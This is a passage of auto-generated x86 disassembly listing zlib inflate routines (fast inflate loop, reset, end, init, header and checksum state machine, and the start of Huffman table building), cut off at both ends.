mov [ebp+arg_0], ecx
test ecx, ecx
jmp short loc_50CC73
; ---------------------------------------------------------------------------
loc_50CCB1: ; CODE XREF: sub_50CBEB+A1j
and ecx, 0Fh
mov esi, ds:dword_510318[ecx*4]
and esi, [ebp+arg_14]
shr [ebp+arg_14], cl
add esi, [eax+4]
sub edx, ecx
mov [ebp+arg_0], esi
loc_50CCC9: ; CODE XREF: sub_50CBEB+F9j
cmp edx, 0Fh
jnb short loc_50CCE6
mov eax, [ebp+var_8]
dec [ebp+var_4]
mov ecx, edx
movzx eax, byte ptr [eax]
shl eax, cl
or [ebp+arg_14], eax
inc [ebp+var_8]
add edx, 8
jmp short loc_50CCC9
; ---------------------------------------------------------------------------
loc_50CCE6: ; CODE XREF: sub_50CBEB+E1j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_C]
and eax, [ebp+arg_14]
movzx ebx, byte ptr [ecx+eax*8]
lea eax, [ecx+eax*8]
movzx ecx, byte ptr [eax+1]
shr [ebp+arg_14], cl
movzx ecx, byte ptr [eax+1]
sub edx, ecx
loc_50CD03: ; CODE XREF: sub_50CBEB+146j
test bl, 10h
jnz short loc_50CD33
test bl, 40h
jnz loc_50CE21
mov ecx, ds:dword_510318[ebx*4]
and ecx, [ebp+arg_14]
add ecx, [eax+4]
movzx ebx, byte ptr [eax+ecx*8]
lea eax, [eax+ecx*8]
movzx ecx, byte ptr [eax+1]
shr [ebp+arg_14], cl
mov [ebp+var_18], ecx
sub edx, ecx
jmp short loc_50CD03
; ---------------------------------------------------------------------------
loc_50CD33: ; CODE XREF: sub_50CBEB+11Bj
and ebx, 0Fh
loc_50CD36: ; CODE XREF: sub_50CBEB+165j
cmp edx, ebx
jnb short loc_50CD52
mov ecx, [ebp+var_8]
dec [ebp+var_4]
movzx esi, byte ptr [ecx]
mov ecx, edx
shl esi, cl
or [ebp+arg_14], esi
inc [ebp+var_8]
add edx, 8
jmp short loc_50CD36
; ---------------------------------------------------------------------------
loc_50CD52: ; CODE XREF: sub_50CBEB+14Dj
mov esi, ds:dword_510318[ebx*4]
mov ecx, ebx
and esi, [ebp+arg_14]
sub edx, ebx
shr [ebp+arg_14], cl
add esi, [eax+4]
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
sub [ebp+var_10], eax
mov ebx, [ebp+arg_10]
mov eax, ecx
sub eax, esi
mov esi, [ebx+28h]
cmp eax, esi
jnb short loc_50CDD2
mov ebx, [ebx+2Ch]
mov [ebp+var_18], ebx
sub ebx, esi
loc_50CD85: ; CODE XREF: sub_50CBEB+19Ej
add eax, ebx
cmp eax, esi
jb short loc_50CD85
mov esi, [ebp+var_18]
sub esi, eax
cmp [ebp+arg_0], esi
jbe short loc_50CDB4
sub [ebp+arg_0], esi
loc_50CD98: ; CODE XREF: sub_50CBEB+1B4j
mov bl, [eax]
mov [ecx], bl
inc ecx
inc eax
dec esi
jnz short loc_50CD98
mov eax, [ebp+arg_10]
mov esi, [eax+28h]
loc_50CDA7: ; CODE XREF: sub_50CBEB+1C5j
mov al, [esi]
mov [ecx], al
inc ecx
inc esi
dec [ebp+arg_0]
jnz short loc_50CDA7
jmp short loc_50CDEE
; ---------------------------------------------------------------------------
loc_50CDB4: ; CODE XREF: sub_50CBEB+1A8j
mov bl, [eax]
mov [ecx], bl
mov bl, [eax+1]
inc ecx
inc eax
mov [ecx], bl
inc ecx
inc eax
sub [ebp+arg_0], 2
loc_50CDC5: ; CODE XREF: sub_50CBEB+1E3j
mov bl, [eax]
mov [ecx], bl
inc ecx
inc eax
dec [ebp+arg_0]
jnz short loc_50CDC5
jmp short loc_50CDEE
; ---------------------------------------------------------------------------
loc_50CDD2: ; CODE XREF: sub_50CBEB+190j
mov bl, [eax]
mov [ecx], bl
mov bl, [eax+1]
inc ecx
inc eax
mov [ecx], bl
inc ecx
inc eax
sub [ebp+arg_0], 2
loc_50CDE3: ; CODE XREF: sub_50CBEB+201j
mov bl, [eax]
mov [ecx], bl
inc ecx
inc eax
dec [ebp+arg_0]
jnz short loc_50CDE3
loc_50CDEE: ; CODE XREF: sub_50CBEB+1C7j
; sub_50CBEB+1E5j
mov esi, [ebp+arg_10]
mov [ebp+var_C], ecx
jmp short loc_50CE0D
; ---------------------------------------------------------------------------
loc_50CDF6: ; CODE XREF: sub_50CBEB+8Cj
shr [ebp+arg_14], cl
movzx ecx, byte ptr [eax+1]
mov al, [eax+4]
sub edx, ecx
mov ecx, [ebp+var_C]
inc [ebp+var_C]
dec [ebp+var_10]
mov [ecx], al
loc_50CE0D: ; CODE XREF: sub_50CBEB+209j
cmp [ebp+var_10], 102h
jb short loc_50CE41
cmp [ebp+var_4], 0Ah
jb short loc_50CE41
jmp loc_50CC42
; ---------------------------------------------------------------------------
loc_50CE21: ; CODE XREF: sub_50CBEB+120j
mov ecx, [edi+4]
mov eax, edx
sub ecx, [ebp+var_4]
mov dword ptr [edi+18h], offset aInvalidDistanc ; "invalid distance code"
shr eax, 3
cmp eax, ecx
jnb short loc_50CE39
mov ecx, eax
loc_50CE39: ; CODE XREF: sub_50CBEB+24Aj
mov esi, [ebp+arg_10]
push 0FFFFFFFDh
pop eax
jmp short loc_50CE8B
; ---------------------------------------------------------------------------
loc_50CE41: ; CODE XREF: sub_50CBEB+229j
; sub_50CBEB+22Fj
mov ecx, [edi+4]
mov eax, edx
sub ecx, [ebp+var_4]
shr eax, 3
cmp eax, ecx
jnb short loc_50CE52
mov ecx, eax
loc_50CE52: ; CODE XREF: sub_50CBEB+263j
xor eax, eax
jmp short loc_50CE8B
; ---------------------------------------------------------------------------
loc_50CE56: ; CODE XREF: sub_50CBEB+A6j
test cl, 20h
jz short loc_50CE70
mov ecx, [edi+4]
mov eax, edx
sub ecx, [ebp+var_4]
shr eax, 3
cmp eax, ecx
jnb short loc_50CE6C
mov ecx, eax
loc_50CE6C: ; CODE XREF: sub_50CBEB+27Dj
push 1
jmp short loc_50CE8A
; ---------------------------------------------------------------------------
loc_50CE70: ; CODE XREF: sub_50CBEB+26Ej
mov ecx, [edi+4]
mov eax, edx
sub ecx, [ebp+var_4]
mov dword ptr [edi+18h], offset aInvalidLiteral ; "invalid literal/length code"
shr eax, 3
cmp eax, ecx
jnb short loc_50CE88
mov ecx, eax
loc_50CE88: ; CODE XREF: sub_50CBEB+299j
push 0FFFFFFFDh
loc_50CE8A: ; CODE XREF: sub_50CBEB+283j
pop eax
loc_50CE8B: ; CODE XREF: sub_50CBEB+254j
; sub_50CBEB+269j
mov ebx, [ebp+arg_14]
sub [ebp+var_8], ecx
mov [esi+20h], ebx
mov ebx, ecx
shl ebx, 3
sub edx, ebx
mov [esi+1Ch], edx
mov edx, [ebp+var_4]
add ecx, edx
mov [edi+4], ecx
mov ecx, [ebp+var_8]
mov edx, ecx
sub edx, [edi]
mov [edi], ecx
mov ecx, [ebp+var_C]
add [edi+8], edx
mov [esi+34h], ecx
pop edi
pop esi
pop ebx
leave
retn
sub_50CBEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50CEBD proc near ; CODE XREF: sub_50CF41+D4p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor edx, edx
cmp eax, edx
jz short loc_50CEFB
mov ecx, [eax+1Ch]
cmp ecx, edx
jz short loc_50CEFB
push esi
mov [eax+14h], edx
mov [eax+8], edx
mov [eax+18h], edx
mov esi, [ecx+0Ch]
push edx
neg esi
sbb esi, esi
push eax
and esi, 7
mov [ecx], esi
mov eax, [eax+1Ch]
push dword ptr [eax+14h]
call sub_50BB53
add esp, 0Ch
xor eax, eax
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_50CEFB: ; CODE XREF: sub_50CEBD+Aj
; sub_50CEBD+11j
push 0FFFFFFFEh
pop eax
pop ebp
retn
sub_50CEBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50CF00 proc near ; CODE XREF: sub_50CF41+C9p
; sub_50D9F3+59p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_50CF3B
mov eax, [esi+1Ch]
test eax, eax
jz short loc_50CF3B
cmp dword ptr [esi+24h], 0
jz short loc_50CF3B
mov eax, [eax+14h]
test eax, eax
jz short loc_50CF28
push esi
push eax
call sub_50C5B0
pop ecx
pop ecx
loc_50CF28: ; CODE XREF: sub_50CF00+1Dj
push dword ptr [esi+1Ch]
push dword ptr [esi+28h]
call dword ptr [esi+24h]
and dword ptr [esi+1Ch], 0
pop ecx
pop ecx
xor eax, eax
jmp short loc_50CF3E
; ---------------------------------------------------------------------------
loc_50CF3B: ; CODE XREF: sub_50CF00+9j
; sub_50CF00+10j ...
push 0FFFFFFFEh
pop eax
loc_50CF3E: ; CODE XREF: sub_50CF00+39j
pop esi
pop ebp
retn
sub_50CF00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50CF41 proc near ; CODE XREF: sub_50D02B+Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
xor edi, edi
cmp eax, edi
jz loc_50D023
mov al, [eax]
cmp al, ds:byte_50F0A8
jnz loc_50D023
cmp [ebp+arg_C], 38h
jnz loc_50D023
mov esi, [ebp+arg_0]
cmp esi, edi
jnz short loc_50CF7A
push 0FFFFFFFEh
jmp loc_50D025
; ---------------------------------------------------------------------------
loc_50CF7A: ; CODE XREF: sub_50CF41+30j
cmp [esi+20h], edi
mov [esi+18h], edi
jnz short loc_50CF8C
mov dword ptr [esi+20h], offset sub_50DA72
mov [esi+28h], edi
loc_50CF8C: ; CODE XREF: sub_50CF41+3Fj
cmp [esi+24h], edi
jnz short loc_50CF98
mov dword ptr [esi+24h], offset sub_50DA8C
loc_50CF98: ; CODE XREF: sub_50CF41+4Ej
push 18h
push 1
pop ebx
push ebx
push dword ptr [esi+28h]
call dword ptr [esi+20h]
add esp, 0Ch
cmp eax, edi
mov [esi+1Ch], eax
jnz short loc_50CFB2
push 0FFFFFFFCh
jmp short loc_50D025
; ---------------------------------------------------------------------------
loc_50CFB2: ; CODE XREF: sub_50CF41+6Bj
mov ecx, [ebp+arg_4]
mov [eax+14h], edi
mov eax, [esi+1Ch]
cmp ecx, edi
mov [eax+0Ch], edi
jge short loc_50CFCA
mov eax, [esi+1Ch]
neg ecx
mov [eax+0Ch], ebx
loc_50CFCA: ; CODE XREF: sub_50CF41+7Fj
cmp ecx, 8
jl short loc_50D01F
cmp ecx, 0Fh
jg short loc_50D01F
mov eax, [esi+1Ch]
shl ebx, cl
mov [eax+10h], ecx
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
neg eax
sbb eax, eax
push ebx
not eax
and eax, offset sub_4FCF6E
push eax
push esi
call sub_50BBBF
mov ecx, [esi+1Ch]
add esp, 0Ch
mov [ecx+14h], eax
mov eax, [esi+1Ch]
cmp [eax+14h], edi
jnz short loc_50D014
push 0FFFFFFFCh
loc_50D008: ; CODE XREF: sub_50CF41+E0j
pop edi
push esi
call sub_50CF00
pop ecx
mov eax, edi
jmp short loc_50D026
; ---------------------------------------------------------------------------
loc_50D014: ; CODE XREF: sub_50CF41+C3j
push esi
call sub_50CEBD
pop ecx
xor eax, eax
jmp short loc_50D026
; ---------------------------------------------------------------------------
loc_50D01F: ; CODE XREF: sub_50CF41+8Cj
; sub_50CF41+91j
push 0FFFFFFFEh
jmp short loc_50D008
; ---------------------------------------------------------------------------
loc_50D023: ; CODE XREF: sub_50CF41+Dj
; sub_50CF41+1Bj ...
push 0FFFFFFFAh
loc_50D025: ; CODE XREF: sub_50CF41+34j
; sub_50CF41+6Fj
pop eax
loc_50D026: ; CODE XREF: sub_50CF41+D1j
; sub_50CF41+DCj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_50CF41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50D02B proc near ; CODE XREF: sub_50D9F3+35p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push [ebp+arg_8]
push [ebp+arg_4]
push 0Fh
push [ebp+arg_0]
call sub_50CF41
add esp, 10h
pop ebp
retn
sub_50D02B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50D043 proc near ; CODE XREF: sub_50D9F3+47p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
xor eax, eax
cmp esi, eax
push edi
jz loc_50D355 ; default
cmp [esi+1Ch], eax
jz loc_50D355 ; default
cmp [esi], eax
jz loc_50D355 ; default
cmp [ebp+arg_4], 4
push 0FFFFFFFBh
pop ebx
mov [ebp+arg_4], ebx
jz short loc_50D076
mov [ebp+arg_4], eax
loc_50D076: ; CODE XREF: sub_50D043+2Ej
; sub_50D043+111j
push 0Dh
pop edi
loc_50D079: ; CODE XREF: sub_50D043+8Aj
; sub_50D043+FAj ...
mov eax, [esi+1Ch]
mov ecx, [eax]
cmp ecx, edi ; switch 14 cases
ja loc_50D355 ; default
jmp ds:off_50D36E[ecx*4] ; switch jump
loc_50D08D: ; DATA XREF: _5:off_50D36Eo
mov ecx, [esi+4] ; jumptable 0050D086 case 0
test ecx, ecx
jz loc_50D27F
dec ecx
inc dword ptr [esi+8]
mov [esi+4], ecx
mov ecx, [esi]
mov ebx, [ebp+arg_4]
movzx ecx, byte ptr [ecx]
mov [eax+4], ecx
mov eax, [esi+1Ch]
mov ecx, [eax+4]
and ecx, 0Fh
inc dword ptr [esi]
cmp cl, 8
jz short loc_50D0CF
mov [eax], edi
mov dword ptr [esi+18h], offset aUnknownCompres ; "unknown compression method"
loc_50D0C3: ; CODE XREF: sub_50D043+A3j
; sub_50D043+237j
mov eax, [esi+1Ch]
mov dword ptr [eax+4], 5
jmp short loc_50D079
; ---------------------------------------------------------------------------
loc_50D0CF: ; CODE XREF: sub_50D043+75j
mov ecx, [eax+4]
shr ecx, 4
add ecx, 8
cmp ecx, [eax+10h]
jbe short loc_50D0E8
mov [eax], edi
mov dword ptr [esi+18h], offset aInvalidWindowS ; "invalid window size"
jmp short loc_50D0C3
; ---------------------------------------------------------------------------
loc_50D0E8: ; CODE XREF: sub_50D043+98j
mov dword ptr [eax], 1
loc_50D0EE: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+4] ; jumptable 0050D086 case 1
test eax, eax
jz loc_50D27F
mov ecx, [ebp+arg_4]
dec eax
inc dword ptr [esi+8]
mov [esi+4], eax
mov eax, [esi]
mov [ebp+arg_0], ecx
mov ecx, [esi+1Ch]
push 1Fh
movzx ebx, byte ptr [eax]
inc eax
xor edx, edx
mov [esi], eax
mov eax, [ecx+4]
shl eax, 8
add eax, ebx
pop edi
div edi
test edx, edx
jz short loc_50D142
push 0Dh
mov ebx, [ebp+arg_0]
pop edi
mov [ecx], edi
mov eax, [esi+1Ch]
mov dword ptr [esi+18h], offset aIncorrectHeade ; "incorrect header check"
mov dword ptr [eax+4], 5
jmp loc_50D079
; ---------------------------------------------------------------------------
loc_50D142: ; CODE XREF: sub_50D043+DFj
test bl, 20h
jnz loc_50D286
mov ebx, [ebp+arg_0]
mov dword ptr [ecx], 7
jmp loc_50D076
; ---------------------------------------------------------------------------
loc_50D159: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
push ebx ; jumptable 0050D086 case 7
push esi
push dword ptr [eax+14h]
call sub_50BC4B
mov ebx, eax
add esp, 0Ch
cmp ebx, 0FFFFFFFDh
jnz short loc_50D17E
mov eax, [esi+1Ch]
mov [eax], edi
mov eax, [esi+1Ch]
and dword ptr [eax+4], 0
jmp loc_50D079
; ---------------------------------------------------------------------------
loc_50D17E: ; CODE XREF: sub_50D043+128j
test ebx, ebx
jnz short loc_50D185
mov ebx, [ebp+arg_4]
loc_50D185: ; CODE XREF: sub_50D043+13Dj
cmp ebx, 1
jnz loc_50D27F
mov eax, [esi+1Ch]
mov ebx, [ebp+arg_4]
lea ecx, [eax+4]
push ecx
push esi
push dword ptr [eax+14h]
call sub_50BB53
mov eax, [esi+1Ch]
add esp, 0Ch
cmp dword ptr [eax+0Ch], 0
jz short loc_50D1B8
mov dword ptr [eax], 0Ch
jmp loc_50D079
; ---------------------------------------------------------------------------
loc_50D1B8: ; CODE XREF: sub_50D043+168j
mov dword ptr [eax], 8
loc_50D1BE: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+4] ; jumptable 0050D086 case 8
test eax, eax
jz loc_50D27F
dec eax
inc dword ptr [esi+8]
mov ecx, [esi+1Ch]
mov [esi+4], eax
mov eax, [esi]
mov ebx, [ebp+arg_4]
movzx eax, byte ptr [eax]
shl eax, 18h
mov [ecx+8], eax
mov eax, [esi+1Ch]
inc dword ptr [esi]
mov dword ptr [eax], 9
loc_50D1EC: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+4] ; jumptable 0050D086 case 9
test eax, eax
jz loc_50D27F
mov ecx, [esi]
dec eax
inc dword ptr [esi+8]
mov [esi+4], eax
movzx ecx, byte ptr [ecx]
mov eax, [esi+1Ch]
mov ebx, [ebp+arg_4]
shl ecx, 10h
add [eax+8], ecx
mov eax, [esi+1Ch]
inc dword ptr [esi]
mov dword ptr [eax], 0Ah
loc_50D21A: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+4] ; jumptable 0050D086 case 10
test eax, eax
jz short loc_50D27F
mov ecx, [esi]
dec eax
inc dword ptr [esi+8]
mov [esi+4], eax
movzx ecx, byte ptr [ecx]
mov eax, [esi+1Ch]
mov ebx, [ebp+arg_4]
shl ecx, 8
add [eax+8], ecx
mov eax, [esi+1Ch]
inc dword ptr [esi]
mov dword ptr [eax], 0Bh
loc_50D244: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+4] ; jumptable 0050D086 case 11
test eax, eax
jz short loc_50D27F
mov ecx, [esi]
dec eax
inc dword ptr [esi+8]
mov [esi+4], eax
movzx ecx, byte ptr [ecx]
mov eax, [esi+1Ch]
mov ebx, [ebp+arg_4]
add [eax+8], ecx
mov eax, [esi+1Ch]
inc dword ptr [esi]
mov ecx, [eax+4]
cmp ecx, [eax+8]
jz loc_50D35D
mov [eax], edi
mov dword ptr [esi+18h], offset aIncorrectDataC ; "incorrect data check"
jmp loc_50D0C3
; ---------------------------------------------------------------------------
loc_50D27F: ; CODE XREF: sub_50D043+4Fj
; sub_50D043+B0j ...
mov eax, ebx
jmp loc_50D358
; ---------------------------------------------------------------------------
loc_50D286: ; CODE XREF: sub_50D043+102j
mov eax, [esi+1Ch]
mov ebx, [ebp+arg_0]
mov dword ptr [eax], 2
loc_50D292: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+4] ; jumptable 0050D086 case 2
test eax, eax
jz short loc_50D27F
dec eax
inc dword ptr [esi+8]
mov ecx, [esi+1Ch]
mov [esi+4], eax
mov eax, [esi]
mov ebx, [ebp+arg_4]
movzx eax, byte ptr [eax]
shl eax, 18h
mov [ecx+8], eax
mov eax, [esi+1Ch]
inc dword ptr [esi]
mov dword ptr [eax], 3
loc_50D2BC: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+4] ; jumptable 0050D086 case 3
test eax, eax
jz short loc_50D27F
mov ecx, [esi]
dec eax
inc dword ptr [esi+8]
mov [esi+4], eax
movzx ecx, byte ptr [ecx]
mov eax, [esi+1Ch]
mov ebx, [ebp+arg_4]
shl ecx, 10h
add [eax+8], ecx
mov eax, [esi+1Ch]
inc dword ptr [esi]
mov dword ptr [eax], 4
loc_50D2E6: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+4] ; jumptable 0050D086 case 4
test eax, eax
jz short loc_50D27F
mov ecx, [esi]
dec eax
inc dword ptr [esi+8]
mov [esi+4], eax
movzx ecx, byte ptr [ecx]
mov eax, [esi+1Ch]
mov ebx, [ebp+arg_4]
shl ecx, 8
add [eax+8], ecx
mov eax, [esi+1Ch]
inc dword ptr [esi]
mov dword ptr [eax], 5
loc_50D310: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+4] ; jumptable 0050D086 case 5
test eax, eax
jz loc_50D27F
mov ecx, [esi]
dec eax
inc dword ptr [esi+8]
mov [esi+4], eax
movzx ecx, byte ptr [ecx]
mov eax, [esi+1Ch]
push 2
add [eax+8], ecx
mov eax, [esi+1Ch]
inc dword ptr [esi]
mov ecx, [eax+8]
mov [esi+30h], ecx
mov dword ptr [eax], 6
jmp short loc_50D357
; ---------------------------------------------------------------------------
loc_50D342: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
mov eax, [esi+1Ch] ; jumptable 0050D086 case 6
mov [eax], edi
mov eax, [esi+1Ch]
mov dword ptr [esi+18h], offset aNeedDictionary ; "need dictionary"
and dword ptr [eax+4], 0
loc_50D355: ; CODE XREF: sub_50D043+Dj
; sub_50D043+16j ...
push 0FFFFFFFEh ; default
loc_50D357: ; CODE XREF: sub_50D043+2FDj
; sub_50D043+325j ...
pop eax
loc_50D358: ; CODE XREF: sub_50D043+23Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_50D35D: ; CODE XREF: sub_50D043+228j
mov eax, [esi+1Ch]
mov dword ptr [eax], 0Ch
loc_50D366: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
push 1 ; jumptable 0050D086 case 12
jmp short loc_50D357
; ---------------------------------------------------------------------------
loc_50D36A: ; CODE XREF: sub_50D043+43j
; DATA XREF: _5:off_50D36Eo
push 0FFFFFFFDh ; jumptable 0050D086 case 13
jmp short loc_50D357
sub_50D043 endp
; ---------------------------------------------------------------------------
off_50D36E dd offset loc_50D08D ; DATA XREF: sub_50D043+43r
dd offset loc_50D0EE ; jump table for switch statement
dd offset loc_50D292
dd offset loc_50D2BC
dd offset loc_50D2E6
dd offset loc_50D310
dd offset loc_50D342
dd offset loc_50D159
dd offset loc_50D1BE
dd offset loc_50D1EC
dd offset loc_50D21A
dd offset loc_50D244
dd offset loc_50D366
dd offset loc_50D36A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50D3A6 proc near ; CODE XREF: sub_50BC4B+3C5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_10]
push 4
push 13h
push dword ptr [esi+28h]
call dword ptr [esi+20h]
add esp, 0Ch
mov [ebp+arg_10], eax
test eax, eax
jnz short loc_50D3CB
push 0FFFFFFFCh
pop eax
jmp short loc_50D422
; ---------------------------------------------------------------------------
loc_50D3CB: ; CODE XREF: sub_50D3A6+1Ej
push ebx
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_8]
push 0
push 0
push 13h
push 13h
push [ebp+arg_0]
call sub_50D425
mov ebx, eax
add esp, 28h
cmp ebx, 0FFFFFFFDh
jnz short loc_50D3FD
mov dword ptr [esi+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
jmp short loc_50D414
; ---------------------------------------------------------------------------
loc_50D3FD: ; CODE XREF: sub_50D3A6+4Cj
cmp ebx, 0FFFFFFFBh
jz short loc_50D40A
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_50D414
loc_50D40A: ; CODE XREF: sub_50D3A6+5Aj
push 0FFFFFFFDh
mov dword ptr [esi+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
pop ebx
loc_50D414: ; CODE XREF: sub_50D3A6+55j
; sub_50D3A6+62j
push [ebp+arg_10]
push dword ptr [esi+28h]
call dword ptr [esi+24h]
pop ecx
mov eax, ebx
pop ecx
pop ebx
loc_50D422: ; CODE XREF: sub_50D3A6+23j
pop esi
leave
retn
sub_50D3A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50D425 proc near ; CODE XREF: sub_50D3A6+3Fp
; sub_50D7AC+52p ...
var_F0 = dword ptr -0F0h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 0F0h
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor edx, edx
mov [ebp+var_74], edx
mov [ebp+var_70], edx
mov [ebp+var_6C], edx
mov [ebp+var_68], edx
mov [ebp+var_64], edx
mov [ebp+var_60], edx
mov [ebp+var_5C], edx
mov [ebp+var_58], edx
mov [ebp+var_54], edx
mov [ebp+var_50], edx
mov [ebp+var_4C], edx
mov [ebp+var_48], edx
mov [ebp+var_44], edx
mov [ebp+var_40], edx
mov [ebp+var_3C], edx
mov [ebp+var_38], edx
mov esi, edi
loc_50D46B: ; CODE XREF: sub_50D425+54j
mov eax, [ecx]
add ecx, 4
inc [ebp+eax*4+var_74]
lea eax, [ebp+eax*4+var_74]
dec esi
jnz short loc_50D46B
cmp [ebp+var_74], edi
jnz short loc_50D491
mov eax, [ebp+arg_14]
mov [eax], edx
mov eax, [ebp+arg_18]
mov [eax], edx
loc_50D48A: ; CODE XREF: sub_50D425+36Fj
; sub_50D425+379j
xor eax, eax
loc_50D48C: ; CODE XREF: sub_50D425+382j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_50D491: ; CODE XREF: sub_50D425+59j
mov edi, [ebp+arg_18]
push 1
pop ebx
lea eax, [ebp+var_70]
mov esi, [edi]
mov ecx, ebx
mov [ebp+arg_18], esi
loc_50D4A1: ; CODE XREF: sub_50D425+87j
cmp [eax], edx
jnz short loc_50D4AE
inc ecx
add eax, 4
cmp ecx, 0Fh
jbe short loc_50D4A1
loc_50D4AE: ; CODE XREF: sub_50D425+7Ej
cmp esi, ecx
mov [ebp+var_4], ecx
jnb short loc_50D4B8
mov [ebp+arg_18], ecx
loc_50D4B8: ; CODE XREF: sub_50D425+8Ej
push 0Fh
lea esi, [ebp+var_38]
pop eax
loc_50D4BE: ; CODE XREF: sub_50D425+A3j
cmp [esi], edx
jnz short loc_50D4CA
dec eax
sub esi, 4
cmp eax, edx
jnz short loc_50D4BE
loc_50D4CA: ; CODE XREF: sub_50D425+9Bj
cmp [ebp+arg_18], eax
mov [ebp+var_18], eax
jbe short loc_50D4D5
mov [ebp+arg_18], eax
loc_50D4D5: ; CODE XREF: sub_50D425+ABj
mov esi, [ebp+arg_18]
shl ebx, cl
cmp ecx, eax
mov [edi], esi
jnb short loc_50D4F6
lea esi, [ebp+ecx*4+var_74]
loc_50D4E4: ; CODE XREF: sub_50D425+CFj
sub ebx, [esi]
js loc_50D61C
inc ecx
add esi, 4
shl ebx, 1
cmp ecx, eax
jb short loc_50D4E4
loc_50D4F6: ; CODE XREF: sub_50D425+B9j
mov esi, eax
shl esi, 2
mov edi, [ebp+esi+var_74]
lea ecx, [ebp+esi+var_74]
sub ebx, edi
mov [ebp+var_30], ebx
js loc_50D61C
add edi, ebx
mov [ebp+var_B0], edx
mov [ecx], edi
xor ecx, ecx
dec eax
jz short loc_50D530
xor edi, edi
loc_50D51F: ; CODE XREF: sub_50D425+109j
add ecx, [ebp+edi+var_70]
add edi, 4
dec eax
mov [ebp+edi+var_B0], ecx
jnz short loc_50D51F
loc_50D530: ; CODE XREF: sub_50D425+F6j
mov ebx, [ebp+arg_0]
xor edi, edi
loc_50D535: ; CODE XREF: sub_50D425+136j
mov eax, [ebx]
add ebx, 4
cmp eax, edx
jz short loc_50D557
mov ecx, [ebp+eax*4+var_B4]
mov edx, [ebp+arg_24]
lea eax, [ebp+eax*4+var_B4]
mov [edx+ecx*4], edi
inc ecx
mov [eax], ecx
xor edx, edx
loc_50D557: ; CODE XREF: sub_50D425+117j
inc edi
cmp edi, [ebp+arg_4]
jb short loc_50D535
mov eax, [ebp+esi+var_B4]
mov ebx, [ebp+arg_18]
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+arg_4], eax
mov eax, [ebp+arg_24]
mov [ebp+var_C], edx
mov [ebp+var_10], eax
mov eax, [ebp+var_4]
